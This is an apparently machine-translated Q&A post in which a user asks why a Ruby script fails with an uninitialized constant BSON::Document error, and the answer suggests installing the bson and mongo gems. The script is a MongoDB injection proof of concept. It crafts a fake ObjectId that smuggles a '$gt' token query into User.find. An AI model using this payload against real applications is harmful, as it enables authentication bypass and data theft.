未初始化的常数BSON :: Document

时间:2016-11-10 09:30:28

标签: ruby mongodb exploit

我试图在ubuntu 14.04上执行ruby代码并执行获取错误时

'':未初始化的常量BSON :: Document(NameError)

代码是,

#!/usr/bin/ruby
require 'uri'
require 'bson'
require 'mongo'
b = BSON::Document.new
b["$query"] = {"token" => {"$gt"=>""}}

payload = b.to_bson[4..-2]
id_ish = ("\n\n" + "a"*24 + "\n\n")

fake_id = "a"*24 +
  "\x02_id\0".unpack('H*')[0] +
  [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +
  payload.unpack('H*')[0]

puts URI.encode(fake_id)

User.find fake_id

我已经阅读了文档, BSON Tutorial

知道我在这里失踪了什么。任何指针都会受到赞赏。

1 个答案:

答案 0 :(得分:0)

看起来你正试图“在真空中”执行这段代码。

除非成功,否则

require方法将默默返回false。此外,要执行代码,您需要安装相应的gem。首先,运行

$ gem install bson
$ gem install mongo
在你的shell中

。现在重试您的脚本。上面的宝石应该让一切都运转正常。如果没有,你需要设置ruby环境,有很多教程。

系统/本地ruby也可能存在问题(hashbang行指示执行系统。)尝试删除此行并使用

运行脚本
$ ruby script_name.rb